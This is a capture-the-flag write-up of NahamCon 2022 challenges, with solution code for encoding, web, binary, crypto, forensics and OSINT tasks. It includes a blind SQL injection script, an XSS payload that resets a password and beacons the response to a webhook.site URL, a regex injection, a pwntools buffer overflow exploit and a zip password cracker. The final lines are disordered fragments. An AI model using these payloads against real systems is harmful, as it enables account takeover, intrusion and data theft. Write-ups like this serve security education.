Cyberchef took care of the whole thing with the recipe #recipe=From_Hex('%5C%5Cx')Parse_QR_Code(false)
Flag: flag{b7e2a32f5ae629dcfb1ac210d1f0c032}
Wizard [50 pts]
Description
You have stumbled upon a wizard on your path to the flag. You must answer his questions!
We are seeing some trouble with the very last question, asking for hexadecimal, when it really takes the answer in plaintext. We are rebuilding the challenge image but in the interim, please send it the plaintext rendition of your answer for question 6.
Solution
Going through the NC it asks some static questions that need to be transcoded
First Question: What is the ASCII plaintext corresponding to this binary string? 010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011
ans = Zeros & Ones
Second Question: What is the ASCII plaintext corresponding to this hex string? 4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878
ans = Oh wowww! Base 10 is cool and all but Hexxxx
Third Question: What is the ASCII plaintext corresponding to this octal string? (HINT: octal -> int -> hex -> chars) 535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164
ans = We can represent numbers in any base we want
Fourth Question: What is the ACII representation of this integer? (HINT: int -> hex -> chars) 8889185069805239596091046045687553579520816794635237831028832039457
ans = This is one big ‘ol integer!
Fifth Question: What is the ASCII plaintext of this Base64 string? QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=
ans = Bases on bases on bases on bases
All of this done through CyberChef and then it showed the flag.
Web
Jurassic Park [50 pts]
Description
Dr. John Hammond has put together a small portfolio about himself for his new theme park, Jurassic Park. Check it out here!
Solution
Access robots.txt
Flag: flag{c2145f65df7f5895822eb249e25028fa}
Personnel [50 pts]
Description
A challenge that was never discovered during the 2021 Constellations mission... now ungated :)
#!/usr/bin/env python
from flask import Flask, Response, abort, request, render_template
import random
from string import *
import re
app = Flask(__name__)
flag = open("flag.txt").read()
users = open("users.txt").read()
users += flag
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("lookup.html")
if request.method == "POST":
name = request.form["name"]
setting = int(request.form["setting"])
if name:
if name[0].isupper():
name = name[1:]
results = re.findall(r"[A-Z][a-z]*?" + name + r"[a-z]*?\n", users, setting)
results = [x.strip() for x in results if x or len(x) > 1]
return render_template("lookup.html", passed_results=True, results=results)
if __name__ == "__main__":
app.run()
Solution
So at this point sleep deprived I kept on falling for the red herring of settings could be a different number. Looking into the documentation the only thing it can be is 0 or a string "re.[extension]". Someone told me this and it became clear the attack is more on the regex. So we came up with 2 options.
Original - 1|(.*)|1 - which dumps all names and flag at the bottom
Improved - 1|(flag.*)|1 - Only displays the flag
Flag: flag{f0e659b45b507d8633065bbd2832c627}
EXtravagant [50 pts] (Author - to^)
Description
I've been working on a XML parsing service. It's not finished but there should be enough for you to try out.The flag is in /var/www
Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit.
NOTE: this flag does not follow the usual MD5 hash style format, but instead is a short style with lower case flag{letters_with_underscores}
Solution
import requests
import string
TARGET = "http://challenge.nahamcon.com:30378/"
FLAG_LENGTH = 0
# Find flag length
for i in range(30):
order_by_inject = f"(SELECT CASE WHEN ((SELECT LENGTH(flag) from flag) = {i+1}) THEN atomic_number ELSE symbol END)"
data = {"search" : "a", "order": order_by_inject}
r = requests.post(TARGET, data)
# with this payload, "aotomic number" column will return "89" before "12" if the WHEN condition is true
if r.text.find("89</td>") > r.text.find("12</td>"):
FLAG_LENGTH = i+1
print(f"[-] Flag length: {FLAG_LENGTH}")
break
# Find flag
FLAG = ""
for i in range(FLAG_LENGTH):
for c in string.ascii_lowercase + "_}{":
order_by_inject = f"(SELECT CASE WHEN ((SELECT SUBSTR(flag, {i+1}, 1) from flag) = '{c}') THEN atomic_number ELSE symbol END)"
data = {"search" : "a", "order": order_by_inject}
r = requests.post(TARGET, data)
if r.text.find("89</td>") > r.text.find("12</td>"):
FLAG += c
print(f"[-] Flag: {FLAG}")
break
Flag: flag{order_by_blind}
Hacker TS [422 pts] (Author - to^)
Description
We all love our hacker t-shirts. Make your own custom ones.
Solution
The page renders text on t-shirts based on POST text param.
var x = new XMLHttpRequest();
x.open('POST', 'http://challenge.nahamcon.com:30223/reset_password');
x.setRequestHeader("Content-Type", "application/json");
x.setRequestHeader("Accept", "application/json");
x.onload = function() {
navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText);
};
x.send(JSON.stringify({
otp: "063517",
password: "to^",
password2: "to^"
}));
Flag: flag{96710ea6be916326f96de003c1cc97cb}
Binary Exploitation
Babiersteps [50 pts] (Author - gocode)
Description
Baby steps! One has to crawl before they can run.
undefined8 main(void) {
undefined local_78 [112];
puts("Everyone has heard of gets, but have you heard of scanf?");
__isoc99_scanf(&DAT_00402049,local_78);
return 0;
}
Solution
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = '/home/gocode/challenges/Nahamcon2022/binary/babiersteps'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# How many bytes to the instruction pointer (EIP)?
padding = 120
payload = flat(
b'A' * 120,
elf.functions.win
)
# Save the payload to file
write('payload', payload)
# Send the payload
io.sendlineafter(b'?', payload)
# Receive the flag
io.interactive()
Command: python exploit.py REMOTE challenge.nahamcon.com 32730 or locally: python exploit.py
Flag:
Reverse Engineering
babyrev [392 pts] (Author - brosu)
Description
Aw look! Baby is using a disassembler!
Solution
import gdb
import string
from queue import Queue, Empty
import re
MAX_FLAG_LEN = 0x26
gdb.execute("set disable-randomization on")
gdb.execute("delete")
#sp = Solvepoint("*0x56555a71")
queue = Queue()
username = "bossbaby\n"
flag = "flag"
ALPHABET = string.ascii_letters + string.digits + "{}_"
gdb.execute("break *0x555555555403")
for i in range(len(flag), MAX_FLAG_LEN):
for c in ALPHABET:
with open("in.txt", "w") as intxt:
inlst = [username, flag+c]
intxt.writelines(inlst)
gdb.execute("run < in.txt")
print(c)
out = gdb.execute("p $eax", to_string=True)
out = re.split(" = ", out)
out = int(out[1])
print(out)
if(out > i):
flag = flag + c
print(flag)
break
Flag:
Cryptography
XORROX [50 pts]
Description
We are exclusive -- you can't date anyone, not even the past! And don't even think about looking in the mirror!
#!/usr/bin/env python3
import random
with open("flag.txt", "rb") as filp:
flag = filp.read().strip()
key = [random.randint(1, 256) for _ in range(len(flag))]
xorrox = []
enc = []
for i, v in enumerate(key):
k = 1
for j in range(i, 0, -1):
k ^= key[j]
xorrox.append(k)
enc.append(flag[i] ^ v)
with open("output.txt", "w") as filp:
filp.write(f"{xorrox=}\n")
filp.write(f"{enc=}\n")
Solution
Given the output I just decided to work the problem backwards with 2 facts in mind
flag[i] = enc[i] ^ v and key[index] = [1-256] so key can be array with all 1s
This leads to solving the enumerator and how it is going backwards so we can brute force what key is valid by verifying the k == xorrox[myI]. Now that I have my whole key array I plug that in and knowing enc[i] and key[i] or v I can get the flag
#!/usr/bin/env python3
import random
flag = "flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"
key = [random.randint(1, 1) for _ in range(len(flag))] # Because I am lazy
xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]
myI = 0;
def getXor():
myFlag = ""
myI = 0 # solution Index
for i, v in enumerate(key):
found = False
while not found:
k = 1
for j in range(i, 0, -1):
k ^= key[j]
if xorrox[myI] != k:
key[i] += 1
else:
found = True
myFlag += chr(enc[myI] ^ key[i])
myI += 1
print(myFlag)
getXor()
print(key)
Flag: flag{21571dd4764a52121d94deea22214402}
Unimod [50 pts]
Description
I was trying to implement ROT-13, but got carried away.
Solution
Since the only unknown thing in the problem is k our random range, the solution came by just brute forcing all values until it showed flag in the solution.
import random
def encode(flag):
k = random.randrange(0,0xFFFD)
for c in flag:
ct += chr((ord(c) + k) % 0xFFFD)
open('out', 'w').write(ct)
def decode(encFlag):
for k in range(0, 0xFFFD):
try:
ct = '';
for c in encFlag:
ct += chr((ord(c) + k) % 0xFFFD)
if "flag" in ct:
open("outs","a").write(ct)
print(ct)
print(k)
except:
a = 1
flag = open("out", "r").read()
decode(flag)
Answer: k = 26396
Flag: flag{4e68d16a61bc2ea72d5f971344e84f11}
Forensics
A Wild Ride [131 pts]
Description
I've got this encrypted ZIP file filled with .gpx'es, and I just know there's a message in there...
Solution
So first things first, Password. Which was no problem for my little script I found online
import zipfile
from tqdm import tqdm
wordlist = "rockyou.txt"
zip_file = "gpx.zip"
# initialize the Zip File object
zip_file = zipfile.ZipFile(zip_file)
# count the number of words in this wordlist
n_words = len(list(open(wordlist, "rb")))
# print the total number of passwords
print("Total passwords to test:", n_words)
with open(wordlist, "rb") as wordlist:
for word in tqdm(wordlist, total=n_words, unit="word"):
try:
zip_file.extractall(pwd=word.strip())
except:
continue
else:
print("[+] Password found:", word.decode().strip())
exit(0)
print("[!] Password not found, try other wordlist.")
Was a little disappointed that the password was 7% in and crackme but oh well. I view all the gpx files and find an online viewer to get an image of the flag.Which was hard to read and verified with admin the flag
Flag: flag{gpx_is_cool}
Mobile
Mobilize [50 pts]
Description
Autobots. ROLLL OUTTT!!!!!
Solution
To start out this problem got me a little disappointed. I started with apktool mobilize.apk and went slowly through the folders to not see a normal pattern so I just did strings mobilize.apk | grep "flag{" which then printed out the flag
Flag: flag{e2e7fd4a43e93ea679d38561fa982682}
Hardware/RF
Cereal [254 pts]
Description
"Oh no I dropped my cereal!!"
Solution
I noticed from another problem that you can open a .sal (SALAE) file with Logic 2 Extension. Opening the file, on the first line is the flag and URL link to a random video.
Flag: flag{}
Dweeno [368 pts] (Author - otolk1)
Description
We found this wack program running on an Arduino Mega using some spider-looking thing on a breadboard. The information we need is redacted in the program we found, but we managed to grab the serial output from the program. Help us figure out what this information is!
It's basically just a balloon... so it needs to be inflated!
File is below
it's basically just a deflated balloon - spin it around, _inflate_ it, and the prize is inside!
wiieh://ephitqxc.rdb/tAQtEOTn
Solution
Flag: flag{5119a30ef1c476b7c35f13b7c4901624}
Scripting
Lold1 [383 pts]
Description
HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND FLAG IS EVEN AT /flag.txt.
Solution
At first I used the convert but it was giving so much weird stuff that I just did it myself at that point manually to come up with print(open('./flag.txt').readline()) Which translated to VISIBLE THEZ open THEZ "./flag.txt" OK OWN readline THING OK
Flag: flag{c1146bd8b0079fd75f857003afe2cc49}
Steganography
Ostrich [408 pts]
Description
This ostrich has a secret message for you.
Solution
This one took a fuck ton of code because I wasn't exactly sure what was brute forced at first.
import imageio
from PIL import Image, GifImagePlugin
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
import random
from apng import APNG
def splitAPNG():
im = APNG.open("./result.apng")
for i, (png, control) in enumerate(im.frames):
png.save("./images/ostrich{i}.png".format(i=i))
def encoding():
filenames = []
flag = "REDACTED"
orig_filename = "ostrich.jpg"
orig_image = Image.open(orig_filename)
pixels = orig_image.load()
width, height = orig_image.size
images = []
for i in range(len(flag)):
new_filename = f'./images/ostrich{i}.png'
new_image = Image.new(orig_image.mode, orig_image.size)
new_pixels = new_image.load()
for x in range(width):
for y in range(height):
new_pixels[x,y] = orig_image.getpixel((x, y))
x = random.randrange(0,width)
y = random.randrange(0,height)
pixel = list(orig_image.getpixel((x, y)))
new_val = l2b(pixel[2]*ord(flag[i]))
pixel[0] = new_val[0]
if len(new_val) > 1:
pixel[1] = new_val[1]
pixel[2] = 0
new_pixels[x, y] = (pixel[0], pixel[1], pixel[2])
new_image.save(new_filename)
filenames.append(new_filename)
images.append(new_image)
APNG.from_files(filenames, delay=0).save("result.apng")
def decoding():
filenames = []
flag = "flag{" + "a" * 32 + "}"
myFlag = ""
orig_filename = "ostrich.jpg"
orig_image = Image.open(orig_filename)
pixels = orig_image.load()
width, height = orig_image.size
images = []
sets = []
for i in range(len(flag)):
new_filename = f'./images/ostrich{i}.png'
new_image = Image.open(new_filename)
new_pixels = new_image.load()
for x in range(width):
for y in range(height):
if (new_pixels[x,y] != orig_image.getpixel((x,y))):
pixel = list(orig_image.getpixel((x,y)))
new_pixel = list(new_image.getpixel((x,y)))
for f in range(0, 256):
new_val = l2b(pixel[2]*f)
lenCheck = len(new_val)
if lenCheck > 1:
if new_pixel[0] == new_val[0] and new_pixel[1] == new_val[1]:
myFlag += chr(f)
print(myFlag)
f = 256
splitAPNG()
decoding()
# encoding()
In the end it was a piece of cake right
Flag: flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}
Keeber (OSINT)
Keeber 1 [50 pts]
Description
You have been applying to entry-level cybersecurity jobs focused on reconnaissance and open source intelligence (OSINT). Great news! You got an interview with a small cybersecurity company; the Keeber Security Group. Before interviewing, they want to test your skills through a series of challenges oriented around investigating the Keeber Security Group.
The first step in your investigation is to find more information about the company itself. All we know is that the company is named Keeber Security Group and they are a cybersecurity startup. To start, help us find the person who registered their domain. The flag is in regular format.
Solution
Flag: flag{ef67b2243b195eba43c7dc797b75d75b}
Keeber 2 [50 pts]
Description
The Keeber Security Group is a new startup in its infant stages. The team is always changing and some people have left the company. The Keeber Security Group has been quick with changing their website to reflect these changes, but there must be some way to find ex-employees. Find an ex-employee through the group's website. The flag is in regular format.
Solution
Going to the way back you can find the flag under Tiffany Douglas Tile - https://web.archive.org/web/20220419212259/https://keebersecuritygroup.com/team
Flag: flag{cddb59d78a6d50905340a62852e315c9}
Want to join the party of GIFs, memes and emoji spam? Or just want to ask a question for technical support regarding any challenges in the CTF? Join us in the Discord -- you might just find a flag in the #ctf-help channel!
Connect here:
From requirements.txt, server uses SQLAlchemy==1.2.17 and it is vulnerable to .
Well a raw inflate is implied but what does the link lead to. Well once that link was found
it gave some raw text which put into cyberchef with raw inflate gives the flag
Using the whois website and searching for the domain keebersecuritygroup.com gave the flag under tech contact